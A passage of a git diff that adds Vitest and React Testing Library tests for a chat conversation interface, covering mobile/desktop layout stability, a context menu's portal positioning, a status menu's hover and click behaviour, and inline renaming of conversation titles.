+vi.mock("#/components/features/chat/chat-interface", () => {
+  // eslint-disable-next-line @typescript-eslint/no-require-imports
+  const React = require("react");
+  return {
+    ChatInterface: () => {
+      React.useEffect(() => {
+        return () => chatInterfaceUnmount();
+      }, []);
+      return <div data-testid="chat-interface">Chat Interface</div>;
+    },
+  };
+});
+
+vi.mock(
+  "#/components/features/conversation/conversation-tabs/conversation-tab-content/conversation-tab-content",
+  () => ({
+    ConversationTabContent: () => <div data-testid="tab-content" />,
+  }),
+);
+
+// ConversationMain now renders the conversation name and tabs inline as the
+// pane headers; both reach into route/store state we don't set up here, so
+// stub them out for layout-stability tests.
+vi.mock(
+  "#/components/features/conversation/conversation-name-with-status",
+  () => ({
+    ConversationNameWithStatus: () => (
+      <div data-testid="conversation-name-with-status" />
+    ),
+  }),
+);
+
+vi.mock(
+  "#/components/features/conversation/conversation-tabs/conversation-tabs",
+  () => ({
+    ConversationTabs: () => <div data-testid="conversation-tabs" />,
+  }),
+);
+
+import { ConversationMain } from "#/components/features/conversation/conversation-main/conversation-main";
+
+function renderConversationMain() {
+  return render(
+    <SidebarMobileNavProvider>
+      <ConversationMain />
+    </SidebarMobileNavProvider>,
+  );
+}
+
+describe("ConversationMain - Layout Transition Stability", () => {
+  beforeEach(() => {
+    mockIsMobile = false;
+    mockIsRightPanelShown = false;
+    mockLeftWidth = 50;
+    chatInterfaceUnmount.mockClear();
+  });
+
+  it("renders ChatInterface at desktop width", () => {
+    mockIsMobile = false;
+    renderConversationMain();
+    expect(screen.getByTestId("chat-interface")).toBeInTheDocument();
+  });
+
+  it("renders ChatInterface at mobile width", () => {
+    mockIsMobile = true;
+    renderConversationMain();
+    expect(screen.getByTestId("chat-interface")).toBeInTheDocument();
+  });
+
+  it("does not unmount ChatInterface when crossing from desktop to mobile", () => {
+    mockIsMobile = false;
+    const { rerender } = renderConversationMain();
+    expect(chatInterfaceUnmount).not.toHaveBeenCalled();
+
+    // Cross the breakpoint to mobile
+    mockIsMobile = true;
+    rerender(
+      <SidebarMobileNavProvider>
+        <ConversationMain />
+      </SidebarMobileNavProvider>,
+    );
+
+    // ChatInterface must NOT have been unmounted and remounted
+    expect(chatInterfaceUnmount).not.toHaveBeenCalled();
+    expect(screen.getByTestId("chat-interface")).toBeInTheDocument();
+  });
+
+  it("does not unmount ChatInterface when crossing from mobile to desktop", () => {
+    mockIsMobile = true;
+    const { rerender } = renderConversationMain();
+    expect(chatInterfaceUnmount).not.toHaveBeenCalled();
+
+    // Cross the breakpoint to desktop
+    mockIsMobile = false;
+    rerender(
+      <SidebarMobileNavProvider>
+        <ConversationMain />
+      </SidebarMobileNavProvider>,
+    );
+
+    // ChatInterface must NOT have been unmounted and remounted
+    expect(chatInterfaceUnmount).not.toHaveBeenCalled();
+    expect(screen.getByTestId("chat-interface")).toBeInTheDocument();
+  });
+
+  it("survives rapid back-and-forth resize without unmounting ChatInterface", () => {
+    mockIsMobile = false;
+    const { rerender } = renderConversationMain();
+
+    // Simulate rapid resize back and forth across the breakpoint
+    for (const mobile of [true, false, true, false, true]) {
+      mockIsMobile = mobile;
+      rerender(
+        <SidebarMobileNavProvider>
+          <ConversationMain />
+        </SidebarMobileNavProvider>,
+      );
+    }
+
+    expect(chatInterfaceUnmount).not.toHaveBeenCalled();
+    expect(screen.getByTestId("chat-interface")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/conversation/conversation-mobile-panel-page.test.tsx b/__tests__/components/features/conversation/conversation-mobile-panel-page.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b5220b2ab06424e922c89c262d9a1cab5a9cd36b
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-mobile-panel-page.test.tsx
@@ -0,0 +1,32 @@
+import { render, screen, fireEvent } from "@testing-library/react";
+import { describe, it, expect, vi } from "vitest";
+import { useConversationStore } from "#/stores/conversation-store";
+
+// Stub the heavy tab subtree so the test focuses on this page's own behavior.
+vi.mock(
+  "#/components/features/conversation/conversation-tabs/conversation-tabs",
+  () => ({ ConversationTabs: () => <div data-testid="conversation-tabs" /> }),
+);
+vi.mock(
+  "#/components/features/conversation/conversation-tabs/conversation-tab-content/conversation-tab-content",
+  () => ({ ConversationTabContent: () => <div data-testid="tab-content" /> }),
+);
+
+import { ConversationMobilePanelPage } from "#/components/features/conversation/conversation-main/conversation-mobile-panel-page";
+
+describe("ConversationMobilePanelPage", () => {
+  it("opens the right panel on mount", () => {
+    render(<ConversationMobilePanelPage onNavigateBack={vi.fn()} />);
+
+    expect(useConversationStore.getState().isRightPanelShown).toBe(true);
+  });
+
+  it("calls onNavigateBack when the back button is clicked", () => {
+    const onNavigateBack = vi.fn();
+    render(<ConversationMobilePanelPage onNavigateBack={onNavigateBack} />);
+
+    fireEvent.click(screen.getByTestId("conversation-mobile-panel-back"));
+
+    expect(onNavigateBack).toHaveBeenCalledTimes(1);
+  });
+});
diff --git a/__tests__/components/features/conversation/conversation-name-context-menu.test.tsx b/__tests__/components/features/conversation/conversation-name-context-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..6687d11578141cf72a073fba77b20d171181233d
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-name-context-menu.test.tsx
@@ -0,0 +1,187 @@
+import React from "react";
+import { screen } from "@testing-library/react";
+import { renderToStaticMarkup } from "react-dom/server";
+import { afterEach, describe, expect, it, vi } from "vitest";
+
+import { renderWithProviders } from "test-utils";
+import { ConversationNameContextMenu } from "#/components/features/conversation/conversation-name-context-menu";
+
+vi.mock("#/hooks/use-breakpoint", () => ({
+  useBreakpoint: () => false,
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => ({
+    backend: {
+      id: "bundled",
+      name: "Bundled",
+      host: "http://localhost:3000",
+      apiKey: "",
+      kind: "local",
+    },
+    orgId: null,
+  }),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => ({
+    data: {
+      public: false,
+    },
+  }),
+}));
+
+function createAnchor(rect: Partial<DOMRect> = {}) {
+  const anchor = document.createElement("button");
+  anchor.dataset.testAnchor = "true";
+  Object.defineProperty(anchor, "getBoundingClientRect", {
+    value: () => ({
+      x: 12,
+      y: 20,
+      top: 20,
+      right: 112,
+      bottom: 48,
+      left: 12,
+      width: 100,
+      height: 28,
+      toJSON: () => ({}),
+      ...rect,
+    }),
+  });
+  document.body.appendChild(anchor);
+  return anchor;
+}
+
+// The `style.left/top/bottom` assertions in this file verify the numeric
+// output of the portal positioning math (anchor rect → menu coordinates).
+// They are functional logic checks, not visual styling assertions.
+describe("ConversationNameContextMenu portal rendering", () => {
+  afterEach(() => {
+    document
+      .querySelectorAll('[data-test-anchor="true"]')
+      .forEach((anchor) => anchor.remove());
+    vi.restoreAllMocks();
+  });
+
+  it("renders inline when no anchor ref is provided", () => {
+    const { container } = renderWithProviders(
+      <ConversationNameContextMenu onClose={vi.fn()} onRename={vi.fn()} />,
+    );
+
+    expect(
+      container.contains(screen.getByTestId("conversation-name-context-menu")),
+    ).toBe(true);
+  });
+
+  it("renders in a portal and positions below the anchor when provided", () => {
+    const anchor = createAnchor();
+    const { container } = renderWithProviders(
+      <ConversationNameContextMenu
+        onClose={vi.fn()}
+        onRename={vi.fn()}
+        anchorRef={{ current: anchor }}
+      />,
+    );
+
+    const menu = screen.getByTestId("conversation-name-context-menu");
+    expect(container.contains(menu)).toBe(false);
+
+    const wrapper = menu.parentElement as HTMLDivElement;
+    expect(wrapper.style.left).toBe("12px");
+    expect(wrapper.style.top).toBe("56px");
+  });
+
+  it("positions above the anchor for top-aligned menus", () => {
+    const anchor = createAnchor({ top: 120, bottom: 148 });
+    Object.defineProperty(window, "innerHeight", {
+      configurable: true,
+      value: 800,
+    });
+
+    renderWithProviders(
+      <ConversationNameContextMenu
+        onClose={vi.fn()}
+        onRename={vi.fn()}
+        position="top"
+        anchorRef={{ current: anchor }}
+      />,
+    );
+
+    const wrapper = screen.getByTestId("conversation-name-context-menu")
+      .parentElement as HTMLDivElement;
+    expect(wrapper.style.bottom).toBe("688px");
+  });
+
+  it("repositions when the anchored element changes between renders", () => {
+    const firstAnchor = createAnchor({ left: 12, top: 20, bottom: 48 });
+    const secondAnchor = createAnchor({ left: 64, top: 80, bottom: 112 });
+    const { rerender } = renderWithProviders(
+      <ConversationNameContextMenu
+        onClose={vi.fn()}
+        onRename={vi.fn()}
+        anchorRef={{ current: firstAnchor }}
+      />,
+    );
+
+    rerender(
+      <ConversationNameContextMenu
+        onClose={vi.fn()}
+        onRename={vi.fn()}
+        anchorRef={{ current: secondAnchor }}
+      />,
+    );
+
+    const wrapper = screen.getByTestId("conversation-name-context-menu")
+      .parentElement as HTMLDivElement;
+    expect(wrapper.style.left).toBe("64px");
+    expect(wrapper.style.top).toBe("120px");
+  });
+
+  it("registers and cleans up resize/scroll listeners for anchored menus", () => {
+    const addEventListenerSpy = vi.spyOn(window, "addEventListener");
+    const removeEventListenerSpy = vi.spyOn(window, "removeEventListener");
+    const anchor = createAnchor();
+
+    const { unmount } = renderWithProviders(
+      <ConversationNameContextMenu
+        onClose={vi.fn()}
+        onRename={vi.fn()}
+        anchorRef={{ current: anchor }}
+      />,
+    );
+
+    expect(addEventListenerSpy).toHaveBeenCalledWith(
+      "resize",
+      expect.any(Function),
+    );
+    expect(addEventListenerSpy).toHaveBeenCalledWith(
+      "scroll",
+      expect.any(Function),
+      true,
+    );
+
+    unmount();
+
+    expect(removeEventListenerSpy).toHaveBeenCalledWith(
+      "resize",
+      expect.any(Function),
+    );
+    expect(removeEventListenerSpy).toHaveBeenCalledWith(
+      "scroll",
+      expect.any(Function),
+      true,
+    );
+  });
+
+  it("returns null during static rendering before portal coordinates exist", () => {
+    const html = renderToStaticMarkup(
+      <ConversationNameContextMenu
+        onClose={vi.fn()}
+        onRename={vi.fn()}
+        anchorRef={{ current: {} as HTMLElement }}
+      />,
+    );
+
+    expect(html).toBe("");
+  });
+});
diff --git a/__tests__/components/features/conversation/conversation-name-with-status.test.tsx b/__tests__/components/features/conversation/conversation-name-with-status.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..00f2b9ea4d0df9af5647353a47b34134085c7b5b
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-name-with-status.test.tsx
@@ -0,0 +1,171 @@
+import { fireEvent, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import { ConversationNameWithStatus } from "#/components/features/conversation/conversation-name-with-status";
+import { AgentState } from "#/types/agent-state";
+import { ExecutionStatus } from "#/types/agent-server/core/base/common";
+import { useAgentState } from "#/hooks/use-agent-state";
+
+vi.mock("#/hooks/use-agent-state", () => ({
+  useAgentState: vi.fn(),
+}));
+
+vi.mock("#/hooks/query/use-task-polling", () => ({
+  useTaskPolling: () => ({
+    isTask: false,
+    taskStatus: null,
+  }),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => ({
+    data: {
+      id: "test-conversation-id",
+      title: "Test conversation",
+      execution_status: ExecutionStatus.RUNNING,
+    },
+  }),
+}));
+
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useConversationId: () => ({ conversationId: "test-conversation-id" }),
+  useOptionalConversationId: () => ({
+    conversationId: "test-conversation-id",
+  }),
+}));
+
+vi.mock("#/hooks/mutation/use-unified-stop-conversation", () => ({
+  useUnifiedPauseConversation: () => ({ mutate: vi.fn() }),
+}));
+
+vi.mock("#/hooks/mutation/use-unified-start-conversation", () => ({
+  useUnifiedResumeConversation: () => ({ mutate: vi.fn() }),
+}));
+
+vi.mock("#/hooks/use-user-providers", () => ({
+  useUserProviders: () => ({ providers: [] }),
+}));
+
+vi.mock("#/components/features/conversation/conversation-name", () => ({
+  ConversationName: () => <div data-testid="conversation-name" />,
+}));
+
+vi.mock("#/components/features/conversation/right-panel-toggle", () => ({
+  RightPanelToggle: () => null,
+}));
+
+vi.mock("react-i18next", async () => {
+  const actual = await vi.importActual("react-i18next");
+  return {
+    ...actual,
+    useTranslation: () => ({
+      t: (key: string) => key,
+      i18n: { changeLanguage: () => Promise.resolve() },
+    }),
+  };
+});
+
+describe("ConversationNameWithStatus", () => {
+  beforeEach(() => {
+    vi.mocked(useAgentState).mockReturnValue({
+      curAgentState: AgentState.RUNNING,
+    });
+  });
+
+  afterEach(() => {
+    vi.unstubAllGlobals();
+  });
+
+  it("opens the server status menu on click and closes on outside click", async () => {
+    const user = userEvent.setup();
+
+    renderWithProviders(
+      <div>
+        <div data-testid="outside">Outside</div>
+        <ConversationNameWithStatus />
+      </div>,
+    );
+
+    expect(
+      screen.queryByTestId("server-status-context-menu"),
+    ).not.toBeInTheDocument();
+
+    // fireEvent click avoids a preceding mouse pointerenter (hover-open), which
+    // models the touch/toggle path this assertion covers.
+    fireEvent.click(screen.getByTestId("server-status-menu-trigger"));
+
+    expect(
+      screen.getByTestId("server-status-context-menu"),
+    ).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("outside"));
+
+    expect(
+      screen.queryByTestId("server-status-context-menu"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("toggles the server status menu closed when the trigger is clicked again", () => {
+    renderWithProviders(<ConversationNameWithStatus />);
+
+    const trigger = screen.getByTestId("server-status-menu-trigger");
+    fireEvent.click(trigger);
+    expect(
+      screen.getByTestId("server-status-context-menu"),
+    ).toBeInTheDocument();
+
+    fireEvent.click(trigger);
+    expect(
+      screen.queryByTestId("server-status-context-menu"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("opens on mouse pointerenter and dismisses on a following mouse click", () => {
+    renderWithProviders(<ConversationNameWithStatus />);
+
+    const trigger = screen.getByTestId("server-status-menu-trigger");
+    const hoverTarget = trigger.parentElement;
+    expect(hoverTarget).not.toBeNull();
+
+    // pointerover is the event React delegates for onPointerEnter synthesis,
+    // so it reaches the handler reliably across jsdom setups.
+    fireEvent.pointerOver(hoverTarget!, { pointerType: "mouse" });
+    expect(
+      screen.getByTestId("server-status-context-menu"),
+    ).toBeInTheDocument();
+
+    fireEvent.click(trigger);
+    expect(
+      screen.queryByTestId("server-status-context-menu"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("keeps click-toggle open after touch/compatibility hover events on fine-hover hardware", () => {
+    // Device-primary pointer reports fine hover, but the interaction is touch.
+    vi.stubGlobal(
+      "matchMedia",
+      vi.fn().mockReturnValue({
+        matches: true,
+        media: "(hover: hover) and (pointer: fine)",
+        addEventListener: vi.fn(),
+        removeEventListener: vi.fn(),
+      }),
+    );
+
+    renderWithProviders(<ConversationNameWithStatus />);
+
+    const trigger = screen.getByTestId("server-status-menu-trigger");
+    const hoverTarget = trigger.parentElement;
+    expect(hoverTarget).not.toBeNull();
+
+    // Compatibility mouseenter must not open-then-close against the tap.
+    fireEvent.mouseEnter(hoverTarget!);
+    fireEvent.pointerOver(hoverTarget!, { pointerType: "touch" });
+    fireEvent.click(trigger);
+
+    expect(
+      screen.getByTestId("server-status-context-menu"),
+    ).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/features/conversation/conversation-name.test.tsx b/__tests__/components/features/conversation/conversation-name.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..bb2ca2fdaabedad10f1585d8960d41f9bf7b8c4c
--- /dev/null
+++ b/__tests__/components/features/conversation/conversation-name.test.tsx
@@ -0,0 +1,706 @@
+import { screen, within, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import {
+  afterEach,
+  beforeAll,
+  beforeEach,
+  describe,
+  expect,
+  it,
+  vi,
+} from "vitest";
+import { renderWithProviders } from "test-utils";
+import { ConversationName } from "#/components/features/conversation/conversation-name";
+import { ConversationNameContextMenu } from "#/components/features/conversation/conversation-name-context-menu";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import type { Backend } from "#/api/backend-registry/types";
+import type { Conversation } from "#/api/open-hands.types";
+
+const localBackend: Backend = {
+  id: "bundled",
+  name: "Bundled",
+  host: "http://localhost:3000",
+  apiKey: "",
+  kind: "local",
+};
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+// Hoisted mocks for controllable return values
+const {
+  mockMutate,
+  mockDisplaySuccessToast,
+  useActiveConversationMock,
+  useConfigMock,
+  useActiveBackendMock,
+} = vi.hoisted(() => ({
+  mockMutate: vi.fn(),
+  mockDisplaySuccessToast: vi.fn(),
+  useActiveConversationMock: vi.fn(() => ({
+    data: {
+      conversation_id: "test-conversation-id",
+      title: "Test Conversation",
+      status: "RUNNING",
+    },
+  })),
+  useConfigMock: vi.fn(() => ({
+    data: {},
+  })),
+  useActiveBackendMock: vi.fn(),
+}));
+
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => useActiveConversationMock(),
+}));
+
+vi.mock("#/hooks/query/use-config", () => ({
+  useConfig: () => useConfigMock(),
+}));
+
+vi.mock("#/hooks/mutation/use-update-conversation", () => ({
+  useUpdateConversation: () => ({
+    mutate: mockMutate,
+  }),
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => useActiveBackendMock(),
+}));
+
+vi.mock("#/utils/custom-toast-handlers", () => ({
+  displaySuccessToast: mockDisplaySuccessToast,
+  displayErrorToast: vi.fn(),
+}));
+
+// Mock react-i18next
+vi.mock("react-i18next", async () => {
+  const actual = await vi.importActual("react-i18next");
+  return {
+    ...actual,
+    useTranslation: () => ({
+      t: (key: string) => {
+        const translations: Record<string, string> = {
+          CONVERSATION$TITLE_UPDATED: "Conversation title updated",
+          BUTTON$RENAME: "Rename",
+          BUTTON$EXPORT_CONVERSATION: "Export Conversation",
+          BUTTON$EXPORT_TRANSCRIPT: "Export…",
+          BUTTON$DOWNLOAD_CONVERSATION_DATA: "Download conversation data",
+          BUTTON$DOWNLOAD_VIA_VSCODE: "Download via VS Code",
+          BUTTON$SHOW_AGENT_TOOLS_AND_METADATA: "Show Agent Tools",
+          CONVERSATION$SHOW_SKILLS: "Show Skills",
+          BUTTON$DISPLAY_COST: "Display Usage and Cost",
+          COMMON$CLOSE_CONVERSATION_STOP_RUNTIME:
+            "Stop Conversation (Runtime)",
+          COMMON$STOP_CONVERSATION: "Stop Conversation",
+          COMMON$DELETE_CONVERSATION: "Delete Conversation",
+          CONVERSATION$SHARE_PUBLICLY: "Share Publicly",
+          CONVERSATION$LINK_COPIED: "Link copied to clipboard",
+          BUTTON$COPY_TO_CLIPBOARD: "Copy to Clipboard",
+          BUTTON$OPEN_IN_NEW_TAB: "Open in New Tab",
+        };
+        return translations[key] || key;
+      },
+      i18n: {
+        changeLanguage: () => new Promise(() => {}),
+      },
+    }),
+  };
+});
+
+// Helper function to render ConversationName with navigation context
+const renderConversationNameWithRouter = () => {
+  return renderWithProviders(<ConversationName />, {
+    navigation: {
+      currentPath: "/conversations/test-conversation-id",
+      conversationId: "test-conversation-id",
+    },
+  });
+};
+
+describe("ConversationName", () => {
+  beforeAll(() => {
+    vi.stubGlobal("window", {
+      open: vi.fn(),
+      addEventListener: vi.fn(),
+      removeEventListener: vi.fn(),
+      location: {
+        origin: "http://localhost:3000",
+      },
+    });
+  });
+
+  beforeEach(() => {
+    useActiveBackendMock.mockReturnValue({
+      backend: localBackend,
+      orgId: null,
+    });
+  });
+
+  afterEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("should render the conversation name in view mode", () => {
+    renderConversationNameWithRouter();
+
+    const container = screen.getByTestId("conversation-name");
+    const titleElement = within(container).getByTestId(
+      "conversation-name-title",
+    );
+
+    expect(container).toBeInTheDocument();
+    expect(titleElement).toBeInTheDocument();
+    expect(titleElement).toHaveTextContent("Test Conversation");
+  });
+
+  it("should switch to edit mode on double click", async () => {
+    const user = userEvent.setup();
+    renderConversationNameWithRouter();
+
+    const titleElement = screen.getByTestId("conversation-name-title");
+
+    // Initially should be in view mode
+    expect(titleElement).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("conversation-name-input"),
+    ).not.toBeInTheDocument();
+
+    // Double click to enter edit mode
+    await user.dblClick(titleElement);
+
+    // Should now be in edit mode
+    expect(
+      screen.queryByTestId("conversation-name-title"),
+    ).not.toBeInTheDocument();
+    const inputElement = screen.getByTestId("conversation-name-input");
+    expect(inputElement).toBeInTheDocument();
+    expect(inputElement).toHaveValue("Test Conversation");
+  });
+
+  it("should update conversation title when input loses focus with valid value", async () => {
+    const user = userEvent.setup();
+    renderConversationNameWithRouter();
+
+    const titleElement = screen.getByTestId("conversation-name-title");
+    await user.dblClick(titleElement);
+
+    const inputElement = screen.getByTestId("conversation-name-input");
+    await user.clear(inputElement);
+    await user.type(inputElement, "New Conversation Title");
+    await user.tab(); // Trigger blur event
+
+    // Verify that the update function was called
+    expect(mockMutate).toHaveBeenCalledWith(
+      {
+        conversationId: "test-conversation-id",
+        newTitle: "New Conversation Title",
+      },
+      expect.any(Object),
+    );
+  });
+
+  it("should not update conversation when title is unchanged", async () => {
+    const user = userEvent.setup();
+    renderConversationNameWithRouter();
+
+    const titleElement = screen.getByTestId("conversation-name-title");
+    await user.dblClick(titleElement);
+
+    const inputElement = screen.getByTestId("conversation-name-input");
+    // Keep the same title
+    await user.tab();
+
+    // Should still have the original title
+    expect(inputElement).toHaveValue("Test Conversation");
+  });
+
+  it("should not call the API if user attempts to save an unchanged title", async () => {
+    const user = userEvent.setup();
+    renderConversationNameWithRouter();
+
+    const titleElement = screen.getByTestId("conversation-name-title");
+    await user.dblClick(titleElement);
+
+    const inputElement = screen.getByTestId("conversation-name-input");
+
+    // Verify the input has the original title
+    expect(inputElement).toHaveValue("Test Conversation");
+
+    // Trigger blur without changing the title
+    await user.tab();
+
+    // Verify that the API was NOT called
+    expect(mockMutate).not.toHaveBeenCalled();
+  });
+
+  it("should reset input value when title is empty and blur", async () => {
+    const user = userEvent.setup();
+    renderConversationNameWithRouter();
+
+    const titleElement = screen.getByTestId("conversation-name-title");
+    await user.dblClick(titleElement);
+
+    const inputElement = screen.getByTestId("conversation-name-input");
+    await user.clear(inputElement);
+    await user.tab();
+
+    // Should reset to original title
+    expect(inputElement).toHaveValue("Test Conversation");
+  });
+
+  it("should trim whitespace from input value", async () => {
+    const user = userEvent.setup();
+    renderConversationNameWithRouter();
+
+    const titleElement = screen.getByTestId("conversation-name-title");
+    await user.dblClick(titleElement);
+
+    const inputElement = screen.getByTestId("conversation-name-input");
+    await user.clear(inputElement);
+    await user.type(inputElement, "  Trimmed Title  ");
+    await user.tab();
+
+    // Should call mutation with trimmed value
+    expect(mockMutate).toHaveBeenCalledWith(
+      {
+        conversationId: "test-conversation-id",
+        newTitle: "Trimmed Title",
+      },
+      expect.any(Object),
+    );
+  });
+
+  it("should handle Enter key to save changes", async () => {
+    const user = userEvent.setup();
+    renderConversationNameWithRouter();
+
+    const titleElement = screen.getByTestId("conversation-name-title");
+    await user.dblClick(titleElement);
+
+    const inputElement = screen.getByTestId("conversation-name-input");
+    await user.clear(inputElement);
+    await user.type(inputElement, "New Title");
+    await user.keyboard("{Enter}");
+
+    // Should have the new title
+    expect(inputElement).toHaveValue("New Title");
+  });
+
+  it("should prevent event propagation when clicking input in edit mode", async () => {
+    const user = userEvent.setup();
+    renderConversationNameWithRouter();
+
+    const titleElement = screen.getByTestId("conversation-name-title");
+    await user.dblClick(titleElement);
+
+    const inputElement = screen.getByTestId("conversation-name-input");
+    const clickEvent = new MouseEvent("click", { bubbles: true });
+    const preventDefaultSpy = vi.spyOn(clickEvent, "preventDefault");
+    const stopPropagationSpy = vi.spyOn(clickEvent, "stopPropagation");
+
+    inputElement.dispatchEvent(clickEvent);
+
+    expect(preventDefaultSpy).toHaveBeenCalled();
+    expect(stopPropagationSpy).toHaveBeenCalled();
+  });
+
+  it("should return to view mode after blur", async () => {
+    const user = userEvent.setup();
+    renderConversationNameWithRouter();
+
+    const titleElement = screen.getByTestId("conversation-name-title");
+    await user.dblClick(titleElement);
+
+    // Should be in edit mode
+    expect(screen.getByTestId("conversation-name-input")).toBeInTheDocument();
+
+    await user.tab();
+
+    // Should be back in view mode
+    expect(screen.getByTestId("conversation-name-title")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("conversation-name-input"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("should not render the llm model in the title bar", () => {
+    useActiveConversationMock.mockReturnValue({
+      data: {
+        conversation_id: "test-conversation-id",
+        title: "Test Conversation",
+        status: "RUNNING",
+        llm_model: "openai/gpt-4o",
+      } as Conversation,
+    });
+
+    renderConversationNameWithRouter();
+
+    expect(
+      screen.queryByTestId("conversation-name-llm-model"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("should focus input when entering edit mode", async () => {
+    const user = userEvent.setup();
+    renderConversationNameWithRouter();
+
+    const titleElement = screen.getByTestId("conversation-name-title");
+    await user.dblClick(titleElement);
+
+    const inputElement = screen.getByTestId("conversation-name-input");
+    expect(inputElement).toHaveFocus();
+  });
+});
+
+describe("ConversationNameContextMenu", () => {
+  const defaultProps = {
+    onClose: vi.fn(),
+  };
+
+  beforeEach(() => {
+    useActiveBackendMock.mockReturnValue({
+      backend: localBackend,
+      orgId: null,
+    });
+  });
+
+  afterEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("should render all menu options when all handlers are provided", () => {
+    const handlers = {
+      onRename: vi.fn(),
+      onDelete: vi.fn(),
+      onStop: vi.fn(),
+      onDisplayCost: vi.fn(),
+      onShowAgentTools: vi.fn(),
+      onShowSkills: vi.fn(),
+      onDownloadConversation: vi.fn(),
+    };
+
+    renderWithProviders(
+      <ConversationNameContextMenu {...defaultProps} {...handlers} />,
+    );
+
+    expect(screen.getByTestId("rename-button")).toBeInTheDocument();
+    expect(screen.getByTestId("delete-button")).toBeInTheDocument();
+    expect(screen.getByTestId("stop-button")).toBeInTheDocument();
+    expect(screen.getByTestId("display-cost-button")).toBeInTheDocument();
+    expect(screen.getByTestId("show-agent-tools-button")).toBeInTheDocument();
+    expect(screen.getByTestId("show-skills-button")).toBeInTheDocument();
+    expect(
+      screen.getByTestId("download-trajectory-button"),
+    ).toBeInTheDocument();
+  });
+
+  it("should not render menu options when handlers are not provided", () => {
+    renderWithProviders(<ConversationNameContextMenu {...defaultProps} />);
+
+    expect(screen.queryByTestId("rename-button")).not.toBeInTheDocument();
+    expect(screen.queryByTestId("delete-button")).not.toBeInTheDocument();
+    expect(screen.queryByTestId("stop-button")).not.toBeInTheDocument();
+    expect(screen.queryByTestId("display-cost-button")).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("show-agent-tools-button"),
+    ).not.toBeInTheDocument();
+    expect(screen.queryByTestId("show-skills-button")).not.toBeInTheDocument();
+  });
+
+  it("should call rename handler when rename button is clicked", async () => {
+    const user = userEvent.setup();
+    const onRename = vi.fn();
+
+    renderWithProviders(
+      <ConversationNameContextMenu {...defaultProps} onRename={onRename} />,
+    );
+
+    const renameButton = screen.getByTestId("rename-button");
+    await user.click(renameButton);
+
+    expect(onRename).toHaveBeenCalledTimes(1);
+  });
+
+  it("should call delete handler when delete button is clicked", async () => {
+    const user = userEvent.setup();
+    const onDelete = vi.fn();
+
+    renderWithProviders(
+      <ConversationNameContextMenu {...defaultProps} onDelete={onDelete} />,
+    );
+
+    const deleteButton = screen.getByTestId("delete-button");
+    await user.click(deleteButton);
+
+    expect(onDelete).toHaveBeenCalledTimes(1);
+  });
+
+  it("should call stop handler when stop button is clicked", async () => {
+    const user = userEvent.setup();
+    const onStop = vi.fn();
+
+    renderWithProviders(
+      <ConversationNameContextMenu {...defaultProps} onStop={onStop} />,
+    );
+
+    const stopButton = screen.getByTestId("stop-button");
+    await user.click(stopButton);
+
+    expect(onStop).toHaveBeenCalledTimes(1);
+  });
+
+  it("should call display cost handler when display cost button is clicked", async () => {
+    const user = userEvent.setup();
+    const onDisplayCost = vi.fn();
+
+    renderWithProviders(
+      <ConversationNameContextMenu
+        {...defaultProps}
+        onDisplayCost={onDisplayCost}
+      />,
+    );
+
+    const displayCostButton = screen.getByTestId("display-cost-button");
+    await user.click(displayCostButton);
+
+    expect(onDisplayCost).toHaveBeenCalledTimes(1);
+  });
+
+  it("should call show agent tools handler when show agent tools button is clicked", async () => {
+    const user = userEvent.setup();
+    const onShowAgentTools = vi.fn();
+
+    renderWithProviders(
+      <ConversationNameContextMenu
+        {...defaultProps}
+        onShowAgentTools={onShowAgentTools}
+      />,
+    );
+
+    const showAgentToolsButton = screen.getByTestId("show-agent-tools-button");
+    await user.click(showAgentToolsButton);
+
+    expect(onShowAgentTools).toHaveBeenCalledTimes(1);
+  });
+
+  it("should call show microagents handler when show microagents button is clicked", async () => {
+    const user = userEvent.setup();
+    const onShowSkills = vi.fn();
+
+    renderWithProviders(
+      <ConversationNameContextMenu
+        {...defaultProps}
+        onShowSkills={onShowSkills}
+      />,
+    );
+
+    const showMicroagentsButton = screen.getByTestId("show-skills-button");
+    await user.click(showMicroagentsButton);
+
+    expect(onShowSkills).toHaveBeenCalledTimes(1);
+  });
+
+  it("forwards the position prop as a data-position attribute (top)", () => {
+    const handlers = {
+      onRename: vi.fn(),
+    };
+
+    renderWithProviders(
+      <ConversationNameContextMenu
+        {...defaultProps}
+        {...handlers}
+        position="top"
+      />,
+    );
+
+    expect(
+      screen.getByTestId("conversation-name-context-menu"),
+    ).toHaveAttribute("data-position", "top");
+  });
+
+  it("forwards the position prop as a data-position attribute (bottom)", () => {
+    const handlers = {
+      onRename: vi.fn(),
+    };
+
+    renderWithProviders(
+      <ConversationNameContextMenu
+        {...defaultProps}
+        {...handlers}
+        position="bottom"
+      />,
